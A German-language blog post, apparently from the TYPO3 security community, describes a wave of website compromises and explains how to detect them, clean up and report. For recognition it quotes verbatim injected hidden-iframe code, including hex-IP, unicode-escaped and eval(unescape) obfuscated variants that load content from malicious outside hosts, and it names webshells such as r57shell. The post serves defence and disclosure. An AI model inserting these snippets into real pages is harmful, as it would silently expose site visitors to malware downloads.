Blog

Blog

Angriffswelle gegen Webserver („iFrame-Attacken“) – nun auch TYPO3

Schon seit einiger Zeit wird von wiederkehrenden Angriffen auf Webserver berichtet, so etwa in den Pressemeldungen „Groß angelegter Angriff auf Web-Anwender im Gange“, „Weitere Details zu Web-Attack-Toolkit MPack“ „Schneeball-Effekt: nur ein anfälliges PHP-Script genügt“ und vielen anderen Quellen. In diesen Angriffen werden – zumindest teilweise automatisiert – verschiedene Wege ausgenutzt, um Kontrolle über die Webserver zu erlangen.

[A translated version of this article is available on the official TYPO3 Blog page]

Schon seit einiger Zeit wird von wiederkehrenden Angriffen auf Webserver berichtet, so etwa in den Pressemeldungen „Groß angelegter Angriff auf Web-Anwender im Gange“„Weitere Details zu Web-Attack-Toolkit MPack“„Schneeball-Effekt: nur ein anfälliges PHP-Script genügt“ und vielen anderen Quellen. In diesen Angriffen werden – zumindest teilweise automatisiert – verschiedene Wege ausgenutzt, um Kontrolle über die Webserver zu erlangen.

Dies hat nun auch TYPO3 (und andere CMS-Systeme) erreicht: Einige Berichte zu solchen Vorkommnissen waren in Foren zu lesen, andere wurden diskret dem TYPO3 Security Team gemeldet. In diesem Artikel möchte ich vorstellen, was davon von allgemeinem Interesse ist.

„Woran kann ich erkennen, ob mein System betroffen ist?“

Das „Hacken“ der Systeme wird momentan offenbar vor allem ausgenutzt, um kleine HTML „Inline-Frames“ (iFrames) im Seiteninhalt zu verankern. Wenn ich also als ahnungsloser Endbenutzer eine betroffenen Webseite besuche, sieht diese möglicherweise ganz normal aus – allerdings wird unbemerkt zusätzlicher Inhalt von einem fremden Server geladen. Dies kann Schadsoftware aller Art sein (die ihrerseits z.B. neue Javascript- oder Windows-Lücken ausnutzt.)

Die gehackten Systeme werden also als zentral gesteuerte „Malware-Schleuder“ verwendet. (ABER: Dies kann sich schon morgen ändern! Wenn die Hacker sich überlegen, die betroffenen Server anderweitig zu mißbrauchen oder gar zu zerstören, werden sie das tun können.) Links zu weiteren Analysen finden sich z.B. im o.g. Heise-Artikel.

Bleiben wir bei den iFrame-Attacken. Wie sehen diese nun konkret aus? Das Prinzip ist klar: Im Seitenquelltext findet sich die Einbindung eines iFrame, z.B. in der einfachsten Schreibweise:
<iframe src=http://www.alexa-rank.info/libraries/iframe.php
?u=a4" style="display:none"></iframe>

Doch die Hacker (oder sogar nur „der Hacker“?) haben inzwischen viele andere Varianten hinterlassen, die verschleiern sollen, was vor sich geht.

Ein weiteres Beispiel, bei dem die IP 203.223.159.105 (= www.alexa-rank.info) in Ihrer Hexadezimal-Darstellung „0xcbdf9f69“ angegeben wird:
<iframe src="http://0xcbdf9f69/google-analytics/iframe.php
?u=a4" style="display: none;"></iframe>

Neben „alexa-rank.info“ sind auch andere Zielsysteme aufgetaucht, z.B.

  • gashar.info (bisher nur für Joomla-Hacks genutzt)
  • www.free20.com
  • google-counter.org

Hier noch einige weitergehende Verschleierungen:
<meta name="description" content="<iframe src=http://0xcbdf9f69/google.com/AdSense.php style="display:none"></iframe>" />

<span class="someclass">[</span> <a href="Login.html" class="bottomnav">Login<span class="someclass">]<iframe src="http://0xcbdf9f69/libraries/iframe.php" style="display: none"></iframe> </span></a> <span class="someclass">]</span>

<script type="text/javascript">document.write('
u003cu0069u0066u0072u0061u006du0065u0020
u0073u0072u0063u003du0068u0074u0074u0070
u003au002fu002fu0030u0078u0063u0062u0064
u0066u0039u0066u0036u0039u002fu0067u006f
u006fu0067u006cu0065u002du0061u006eu0061
u006cu0079u0074u0069u0063u0073u002fu0069
u0066u0072u0061u006du0065u002eu0070u0068
u0070u003fu0075u003du0061u0034u0020u0073
u0074u0079u006cu0065u003du0022u0064u0069
u0073u0070u006cu0061u0079u003au006eu006f
u006eu0065u0022u003eu003cu002fu0069u0066
u0072u0061u006du0065u003e');</script>

<script type="text/javascript">document.write
('u003cu0069u0066u0072u0061u006d
u0065u0020u0073u0072u0063u003du0068
u0074u0074u0070u003au002fu002fu0077
u0077u0077u002eu0061u006cu0065u0078
u0061u002du0072u0061u006eu006bu002e
u0069u006eu0066u006fu002fu006cu0069
u0062u0072u0061u0072u0069u0065u0073
u002fu0069u0066u0072u0061u006du0065
u002eu0070u0068u0070u0020u0073u0074
u0079u006cu0065u003du0022u0064u0069
u0073u0070u006cu0061u0079u003au006e
u006fu006eu0065u0022u003eu003cu002f
u0069u0066u0072u0061u006du0065u003e');
</script>

<script type="text/javascript">eval
(unescape('%64%6F%63%75%6D%65%6E%74%2E
%77%72%69%74%65%28%27%3C%69%66%72%61
%6D%65%20%73%72%63%3D%68%74%74%70%3A
%2F%2F%77%77%77%2E%61%6C%65%78%61%2D
%72%61%6E%6B%2E%69%6E%66%6F%2F%6C%69
%62%72%61%72%69%65%73%2F%69%66%72%61
%6D%65%2E%70%68%70%3F%75%3D%61%34%20
%73%74%79%6C%65%3D%22%64%69%73%70%6C
%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%
69%66%72%61%6D%65%3E%27%29%3B'));</script>

Noch ein Tipp zur Erkennung: Eine der nach erfolgreichem Hackerangriff manchmal installierten Webshells erfordert den folgenden User-Agent:

"http://www.googlebot.com/bot.html)" (jedoch mit der Endung "shtml" statt "html" !)

Also: WENN im Webserver-Log ein solcher Eintrag (inklusive der o.g. nderung der Endung) auftritt, sollten die Alarmglocken schrillen. WENN NICHT – heißt das gar nichts…

„Wie dringen die Angreifer auf ein System ein?“

Offenbar unterschiedlich…

  • Es sind verschiedenste Systeme betroffen, sowohl TYPO3 als auch andere Systeme (Joomla, …)
  • In manchen Fällen wurden Lücken in darunterliegender Software (z.B. cPanel) ausgenutzt.
  • Es wurden Fälle berichtet, in denen bekannte Lücken in TYPO3 Dritt-Extensions ausgenutzt wurden (z.B. der „macina_banners Bug„). Es sei hier nochmal dringend empfohlen, für alle bekannte Probleme die dafür verfügbare Behebung einzuspielen!

Hinweise auf bisher unbekannte Probleme mit TYPO3 Kern oder Zusatzmodulen konnte das Security Team bisher nicht finden. Dennoch kann dies natürlich nicht ausgeschlossen werden – wer auf seinem Server solche Verdachtsmomente findet, sollte diese also bitte unbedingt und vertraulich dem TYPO3 Security Team zukommen lassen.

Im Ergebnis verfügt der Hacker dann jeweils über einen Zugriff auf das System, mindestens mit den Rechten des Webserver-Prozesses. Diese nutzt er im nächsten Schritt aus.

„Was tun die „Hacker“ auf dem System?“

Momentan im Kern offenbar zwei Dinge:

  • Sie schaffen sich eine komfortable Arbeitsumgebung (z.B. per Web-Shell wie „r57shell“ oder „STNC WebShell“, also Browser-Oberfläche, mit der sie mit Dateien arbeiten und Shell-Kommandos ausführen können.) Übrigens ein klarer Hinweis, dass es sich hier NICHT um vollautomatische Attacken, Würmer o.ä. handelt!
  • Sie manipulieren Dateien (z.B. durch Anhängen des „iFrame“-Codes am Ende index.php oder an anderen Stellen, bis hin zu localconf.php)

Auch hier finden sich wieder viele Verschleierungtaktiken. Der Schad-Code wird an verschiedensten Stellen abgelegt, z.B. in Extension-Unterverzeichnissen oder in typo3temp. Oder, noch kreativer: Er wird in Dateien mit anderen Endungen (z.B. CSS) abgelegt und diese etwa per .htaccess ausführbar gemacht, oder einfach eingebunden.

Jedenfalls gehen die Hacker recht abwechslungsreich vor und scheinen auch einige TYPO3-Kenntnisse mitzubringen.

„Mein Server wurde gehackt. Wie kann ich ihn wieder bereinigen?“

Schwierig! Das reine Beheben der sichtbaren Symptome (z.B. „iFrame-Code aus index.php löschen“) reicht mit Sicherheit nicht. Ein zuverlässiges Bereinigen heißt: Sichergehen, dass alle Änderungen (in Datenbanken und Dateien) rückgängig gemacht sind und keine Hintertür das Hackers mehr offenbleibt. Um es offen zu sagen – dies ist SEHR schwer, genaugenommen müßte man sogar sagen: unmöglich.

Meine dringende Empfehlung ist daher, das System aus intakter Datensicherung komplett neu aufzusetzen!

Wer so weit nicht gehen kann oder möchte, sollte folgendes beherzigen:

  • Wenn irgend möglich, zunächst das System vom Internet trennen
  • Versuchen zunächst sicherzustellen, dass der Angreifer nicht über die Rechte des Webservers hinaus Systemzugriff erlangt hat (also, bei Linux / Unix: root geworden ist). Rootkit-Suchwerkzeuge wie chkrootkitkönnen helfen.
  • Versuche dann herauszufinden, über welche Lücke das System gehackt worden ist. Sind bekannt unsichere TYPO3-Extensions eingebunden und nicht aktualisiert? Sind veraltete Middleware-Versionen (Apache, PHP, cPanel, …) oder Drittsoftware (phpBB, …) im Einsatz? Wurde ein FTP-Zugang mißbraucht (z.B. durch Ausprobieren unsicherer Kennworte?)
  • Nun geht es an’s Aufräumen… viiiiel Glück dabei (s.o.)…

„An wen kann ich mich wenden, und was sollte ich sonst noch tun?“

Wie schon gesagt: Wer Dinge findet, die auf bisher unbekannt Probleme mit TYPO3 Kern oder TYPO3 Dritt-Extensions hinweisen, sollte diese Information unbedingt und vertraulich dem TYPO3 Security Team zukommen lassen (Link s.o.). Dieses wird prüfen, ob es sich wirklich um ein Problem handelt, die kurzfristige Behebung einleiten und nach mit Bereitstellung der Behebung das Problem veröffentlichen. Dazu wird neben typo3.org auch die TYPO3 Announce Mailingliste verwendet, die jeder TYPO3-Betreiber unbedingt abonnieren sollte!

Wer andere (also nicht TYPO3-spezifische), bisher unbekannte Probleme vermutet, sollte sich ebenfalls vertraulich an den entsprechenden Hersteller wenden.

In keinem Fall sollte etwaige Lücken öffentlich gemacht werden, bevor sie behoben sind!

Abschließend sei allen Serverbetreibern nochmal ein verantwortungsvoller Betrieb ans Herz gelegt. Dies bedeutet vor allem: Sorgfältige Auswahl und Konfiguration der eingesetzten Software, und kurzfristiges Einspielen etwaiger Sicherheitsfixes sowohl für Anwendungen (z.B. TYPO3 oder TYPO3 Dritt-Extensions) als auch für Betriebssystem und Middleware.

Eine Sammlung detaillierterer Hinweise gibt übrigens das TYPO3 Security Kochbuch, welches auf der TYPO3 Security Team Webseite verlinkt ist.

Ihr Browser ist veraltet!

Bitte aktualisieren Sie Ihren Browser, um diese Website korrekt dazustellen. Den Browser jetzt aktualisieren

Diese Webseite verwendet Cookies und das Webanalyse-Tool Google Analytics. Durch die Nutzung unserer Seiten erklären Sie sich damit einverstanden.

Eine Widerspruchsmöglichkeit finden Sie in unserer Datenschutzerklärung.
Einverstanden